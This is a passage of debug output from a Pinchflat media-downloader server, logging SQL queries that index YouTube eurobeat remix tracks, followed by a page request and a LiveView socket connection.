⧸⧸ Eurobeat Remix - Boom[HMEClOtie6c].m4a", "id" => "HMEClOtie6c", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=HMEClOtie6c", "playlist_index" => 31, "timestamp" => 1691928542, "title" => "HOW DO YOU DO? // Eurobeat Remix - Boom", "upload_date" => "20230813"} 22:23:16.507 [debug] QUERY OK source="sources" db=0.3ms idle=1004.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:23:16.508 [debug] QUERY OK source="sources" db=0.2ms idle=1003.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:16.508 [debug] QUERY OK source="media_items" db=0.4ms idle=1003.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-08-13 12:09:02Z], 1] 22:23:16.757 [debug] QUERY OK source="media_items" db=247.8ms idle=1003.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["how do you drift?\n.\n› Genre(s): Eurobeat\n.\n› Subscribe Now: https://www.youtube.com/channel/UCZEZcozbf3e339wn3eZ31Tw?sub_confirmation=1\n.\n› Sociabuzz: https://sociabuzz.com/imojist/tribe\n.\n› Follow Me on Facebook: https://www.facebook.com/imojistmusic/\n.\n› Follow Me On Instagram: https://www.instagram.com/imojistmusic/\n.\n› Follow Me On Twitter: https://twitter.com/imojist\n.\n› Original Video/Song: Boom - How Do You Do?\n.\nArt: https://thptnganamst.edu.vn/top-100-image-red-hair-anime-girl/\n.\n› Follow me on various platforms: https://imojist.carrd.co\n.\n#boom #howdoyoudo #eurobeat #remix #music #nightcore", "HOW DO YOU DO? // Eurobeat Remix - Boom", "84253e37-280c-4b6d-b77c-6a8b63bf8803", false, "HMEClOtie6c", 216, false, "https://www.youtube.com/watch?v=HMEClOtie6c", 31, "/downloads/Nightcore/Nightcore/2023-08-13HOW DO YOU DO? ⧸⧸ Eurobeat Remix - Boom[HMEClOtie6c].m4a", false, false, 1, [], 1, ~U[2023-08-13 12:09:02Z], ~U[2026-07-24 02:23:16Z], ~U[2026-07-24 02:23:16Z], "how do you drift?\n.\n› Genre(s): Eurobeat\n.\n› Subscribe Now: https://www.youtube.com/channel/UCZEZcozbf3e339wn3eZ31Tw?sub_confirmation=1\n.\n› Sociabuzz: https://sociabuzz.com/imojist/tribe\n.\n› Follow Me on Facebook: https://www.facebook.com/imojistmusic/\n.\n› Follow Me On Instagram: https://www.instagram.com/imojistmusic/\n.\n› Follow Me On Twitter: https://twitter.com/imojist\n.\n› Original Video/Song: Boom - How Do You Do?\n.\nArt: https://thptnganamst.edu.vn/top-100-image-red-hair-anime-girl/\n.\n› Follow me on various platforms: https://imojist.carrd.co\n.\n#boom #howdoyoudo #eurobeat #remix #music #nightcore", "HOW DO YOU DO? // Eurobeat Remix - Boom", "HMEClOtie6c", 216, false, "https://www.youtube.com/watch?v=HMEClOtie6c", "/downloads/Nightcore/Nightcore/2023-08-13HOW DO YOU DO? ⧸⧸ Eurobeat Remix - Boom[HMEClOtie6c].m4a", false, 1, ~U[2023-08-13 12:09:02Z]] 22:23:16.757 [debug] QUERY OK source="sources" db=0.1ms idle=249.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:16.758 [debug] QUERY OK source="media_profiles" db=0.2ms idle=249.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:23:16.758 [debug] QUERY OK source="media_items" db=0.1ms idle=249.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [31] 22:23:16.758 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "lalalalala\n.\n› Genre(s): Eurobeat\n.\n› Be a member and gain custom badges, custom emojis and early access to new remixes.\nJoin Now: https://www.youtube.com/channel/UCZEZcozbf3e339wn3eZ31Tw/join\n.\n› Join Discord: https://discord.gg/gJZPKhQDDY\n.\n› HQ Download: https://www.mediafire.com/folder/cpk4e4crbax76/IMOJIST's_HQ_Downloads\n.\n› HQ Instrumental Downloads:\nhttps://www.mediafire.com/folder/chllo4adwdz25/IMOJIST_HQ_Instrumental\n› Subscribe Now: https://www.youtube.com/channel/UCZEZcozbf3e339wn3eZ31Tw?sub_confirmation=1\n.\n› AE86 Illustrator: https://www.deviantart.com/wcjuan\n.\n› Art: https://danbooru.donmai.us/posts/3119066\n.\n› Follow Me On Instagram: https://www.instagram.com/imojistmusic/\n.\n› Follow Me On Twitter: https://twitter.com/imojist\n.\n› Original Video/Song: https://youtu.be/Se237UXFKlQ?si=RqnOJxzlF60wUU5S\n.\n› Follow me on various platforms: https://imojist.carrd.co\n.\n#atouchofclass #aroundtheworld #eurobeat #remix #music", "duration" => 206, "filename" => "/downloads/Nightcore/Nightcore/2024-10-02AROUND THE WORLD (LALALALALA) ⧸⧸ Eurobeat Remix - A Touch of Class[THBMcUdzwqU].m4a", "id" => "THBMcUdzwqU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=THBMcUdzwqU", "playlist_index" => 32, "timestamp" => 1727872130, "title" => "AROUND THE WORLD (LALALALALA) // Eurobeat Remix - A Touch of Class", "upload_date" => "20241002"} 22:23:16.758 [debug] QUERY OK source="sources" db=0.0ms idle=1.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:23:16.759 [debug] QUERY OK source="sources" db=0.1ms idle=1.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:16.759 [debug] QUERY OK source="media_items" db=0.1ms idle=1.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-10-02 12:28:50Z], 1] 22:23:16.968 [debug] QUERY OK source="media_items" db=208.2ms idle=1.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["lalalalala\n.\n› Genre(s): Eurobeat\n.\n› Be a member and gain custom badges, custom emojis and early access to new remixes.\nJoin Now: https://www.youtube.com/channel/UCZEZcozbf3e339wn3eZ31Tw/join\n.\n› Join Discord: https://discord.gg/gJZPKhQDDY\n.\n› HQ Download: https://www.mediafire.com/folder/cpk4e4crbax76/IMOJIST's_HQ_Downloads\n.\n› HQ Instrumental Downloads:\nhttps://www.mediafire.com/folder/chllo4adwdz25/IMOJIST_HQ_Instrumental\n› Subscribe Now: https://www.youtube.com/channel/UCZEZcozbf3e339wn3eZ31Tw?sub_confirmation=1\n.\n› AE86 Illustrator: https://www.deviantart.com/wcjuan\n.\n› Art: https://danbooru.donmai.us/posts/3119066\n.\n› Follow Me On Instagram: https://www.instagram.com/imojistmusic/\n.\n› Follow Me On Twitter: https://twitter.com/imojist\n.\n› Original Video/Song: https://youtu.be/Se237UXFKlQ?si=RqnOJxzlF60wUU5S\n.\n› Follow me on various platforms: https://imojist.carrd.co\n.\n#atouchofclass #aroundtheworld #eurobeat #remix #music", "AROUND THE WORLD (LALALALALA) // Eurobeat Remix - A Touch of Class", "50891334-7e27-494d-8d26-05aaddc69078", false, "THBMcUdzwqU", 206, false, "https://www.youtube.com/watch?v=THBMcUdzwqU", 32, "/downloads/Nightcore/Nightcore/2024-10-02AROUND THE WORLD (LALALALALA) ⧸⧸ Eurobeat Remix - A Touch of Class[THBMcUdzwqU].m4a", false, false, 1, [], 1, ~U[2024-10-02 12:28:50Z], ~U[2026-07-24 02:23:16Z], ~U[2026-07-24 02:23:16Z], "lalalalala\n.\n› Genre(s): Eurobeat\n.\n› Be a member and gain custom badges, custom emojis and early access to new remixes.\nJoin Now: https://www.youtube.com/channel/UCZEZcozbf3e339wn3eZ31Tw/join\n.\n› Join Discord: https://discord.gg/gJZPKhQDDY\n.\n› HQ Download: https://www.mediafire.com/folder/cpk4e4crbax76/IMOJIST's_HQ_Downloads\n.\n› HQ Instrumental Downloads:\nhttps://www.mediafire.com/folder/chllo4adwdz25/IMOJIST_HQ_Instrumental\n› Subscribe Now: https://www.youtube.com/channel/UCZEZcozbf3e339wn3eZ31Tw?sub_confirmation=1\n.\n› AE86 Illustrator: https://www.deviantart.com/wcjuan\n.\n› Art: https://danbooru.donmai.us/posts/3119066\n.\n› Follow Me On Instagram: https://www.instagram.com/imojistmusic/\n.\n› Follow Me On Twitter: https://twitter.com/imojist\n.\n› Original Video/Song: https://youtu.be/Se237UXFKlQ?si=RqnOJxzlF60wUU5S\n.\n› Follow me on various platforms: https://imojist.carrd.co\n.\n#atouchofclass #aroundtheworld #eurobeat #remix #music", "AROUND THE WORLD (LALALALALA) // Eurobeat Remix - A Touch of Class", "THBMcUdzwqU", 206, false, "https://www.youtube.com/watch?v=THBMcUdzwqU", "/downloads/Nightcore/Nightcore/2024-10-02AROUND THE WORLD (LALALALALA) ⧸⧸ Eurobeat Remix - A Touch of Class[THBMcUdzwqU].m4a", false, 1, ~U[2024-10-02 12:28:50Z]] 22:23:16.968 [debug] QUERY OK source="sources" db=0.2ms idle=209.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:16.968 [debug] QUERY OK source="media_profiles" db=0.1ms idle=209.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:23:16.969 [debug] QUERY OK source="media_items" db=0.2ms idle=209.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [32] 22:23:16.969 [debug] Current batch of media processed. Will check again in 1000ms 22:23:17.079 [info] GET /sources/5 22:23:17.079 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "5"} Pipelines: [:browser] 22:23:17.080 [debug] QUERY OK source="sources" db=0.2ms idle=319.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:23:17.080 [debug] QUERY OK source="media_profiles" db=0.1ms idle=112.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:23:17.081 [debug] QUERY OK source="tasks" db=0.1ms idle=112.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [5, "executing", "available", "scheduled", "retryable"] 22:23:17.081 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=112.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [222] 22:23:17.081 [debug] QUERY OK source="settings" db=0.0ms idle=111.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:23:17.081 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:23:17.081 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:23:17.082 [debug] QUERY OK source="sources" db=0.0ms idle=1.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:23:17.082 [debug] QUERY OK source="media_items" db=0.1ms idle=1.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 22:23:17.083 [debug] QUERY OK source="media_items" db=0.3ms idle=1.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 22:23:17.084 [debug] QUERY OK source="sources" db=0.1ms idle=2.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:23:17.084 [debug] QUERY OK source="media_items" db=0.1ms idle=2.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [5] 22:23:17.085 [debug] QUERY OK source="media_items" db=0.1ms idle=2.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 22:23:17.085 [debug] QUERY OK source="sources" db=0.1ms idle=2.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:23:17.086 [debug] QUERY OK source="media_items" db=0.1ms idle=2.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [5] 22:23:17.086 [debug] QUERY OK source="media_items" db=0.3ms idle=1.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 22:23:17.087 [info] Sent 200 in 7ms 22:23:17.203 [info] CONNECTED TO Phoenix.LiveView.Socket in 32µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "WiF8Q1sfUAIkJ2w6NAxVNGQPZEMkOh4l3LOt2W9COAXjVAdb4eP0wNIf", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.tail3db17d.ts.net/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.tail3db17d.ts.net/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 22:23:17.210 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "media_state" => "pending", "source_id" => 5} 22:23:17.210 [debug] QUERY OK source="sources" db=0.2ms idle=125.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", 